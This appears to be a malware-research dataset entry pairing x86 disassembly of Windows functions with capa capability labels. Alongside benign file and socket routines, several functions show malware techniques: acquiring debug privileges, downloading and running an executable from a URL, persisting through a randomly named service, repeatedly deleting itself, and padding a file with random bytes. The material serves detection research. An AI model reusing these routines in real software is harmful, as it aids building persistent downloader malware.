joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
push 0x4041d8
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x401d1a
push ebx
push str.Could_not_open_file__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push edi
call esi
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov ebx, eax
push 0
push 0
push edi
call esi
add esp, 0xc
cmp ebx, 0x1000000
jl 0x401d78
push dword [ebp - 8]
push str.The_file__s_is_too_large_for_processing._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x401db3
push str.Could_not_allocate_memory..._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor esi, esi
test ebx, ebx
jle 0x401de1
nop dword [eax]
push edi
push 0x200
add eax, esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jle 0x401de1
add esi, eax
mov eax, dword [ebp - 4]
cmp esi, ebx
jl 0x401dc0
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebp - 4]
add esp, 4
cmp esi, ebx
je 0x401e24
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push esi
push ebx
push dword [ebp - 8]
push str.Could_not_read_in_file__s__size__ld_read__ld__n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0x14
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov dword [eax], ebx
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6661b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00666140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00666140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00666140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00666140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x666bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x666c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x67887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x666c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x666c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401024
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40101d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x401030
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x1c
push ebx
push esi
mov esi, dword [esp + 0x2c]
push edi
cmp esi, 1
jae 0x40104b
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1c
ret
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x34], 1
call edi
mov ebx, dword [esp + 0x30]
add esp, 4
lea eax, [esp + 0x30]
push 4
push eax
push 8
push pe_overlay
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x401086
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
push 0x30
call edi
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
add esp, 4
lea eax, [eax + eax*4]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], edx
push edx
shl eax, 3
push ecx
lea edx, [esp + 0x28]
mov dword [esp + 0x20], eax
push 0xc
push edx
lea eax, [esp + 0x24]
push 0xc
push eax
push 0x98000004
push ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x3c], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x1c
ret

Function at 0x401100
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40113f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x401138
cmp eax, 0xffffffff
je 0x401138
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40113f
jmp 0x401114
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x401150
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40118f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401188
cmp eax, 0xffffffff
je 0x401188
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40118f
jmp 0x401164
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x4014c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret
Function at 0x401520
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1006c
call fcn.004030f0
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40154b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Agent]
mov dx, word [0x405410]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push str._s_ld
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x4015a0
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x4015b2
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x4015c3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x4053fc]
mov edx, dword [0x4053f8]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x405400]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10084]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x401626
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [esp + 0x10084]
push 0x4053f0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x40164f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40167a
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x4016d2
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x4016f0
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x40169f
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1006c
ret
Function at 0x401720
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x405414
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401742
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4017be
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4017e0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x401849
mov ecx, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
pop esi
add esp, 0x54
ret

Function at 0x401850
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x4018ad
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4018b1
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x401892
mov ebp, dword [esp + 0x18]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x4019e0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401af8
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401af8
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x401af8
lea eax, [esp + 0x68]
push 0x405428
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x401af8
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x401ab7
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x401ad9
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x401b10
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x401b35.5
xor ecx, ecx
mov cl, byte [eax + 0x401cd0]
jmp dword [ecx*4 + 0x401cbc]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.004019e0
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.004019e0
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x40545c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.004014c0
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00401520
lea ecx, [esp + 0x6c]
push ecx
call fcn.00401720
add esp, 0x14
test eax, eax
je case.0x401b35.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40545c
push edx
stosb byte es:[edi], al
call fcn.004014c0
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00401520
lea edx, [esp + 0x6c]
push edx
call fcn.00401720
add esp, 0x14
test eax, eax
je case.0x401b35.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret
Function at 0x402430
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push str.c:Save_Path.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4024b4
lea ecx, [esp + 8]
push 0
push ecx
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x14]
push ecx
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x108
ret

Function at 0x4024c0
Capabilities:
Delete file
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push str.c:Save_Path.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4024fc
pop esi
mov eax, 1
pop ebx
add esp, 0x108
ret 4
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push 0x104
push ecx
push esi
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x14
lea edx, [esp + 0x10]
push edx
call esi
push 0x1f4
call ebx
push str.c:Save_Path.jpg
call esi
dec edi
jne 0x402544
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x108
ret 4
Function at 0x402c20
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402c9f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x402c8d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x402c8d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x402c5c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x402cb0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x406c54], eax
jne 0x402ccb
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Wnkue_Fesbzwk_Cswkpaiq_Ligz
push str.Sujehi__o_twddoNk_
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x406c50], eax
jne 0x402d04
pop ecx
ret
mov edx, dword [0x406c54]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x406c50]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str._dgfqonvLuumktc_Iqrvqha_Qgmdfpj__Zeh
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x402d40
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Sujehi__o_twddoNk_
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x402e40
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402f2a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x402f06
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x402ec7
dec edx
or edx, 0xfffffc00
inc edx
jne 0x402ee8
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x402ecb
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x402eb5
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x405878]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret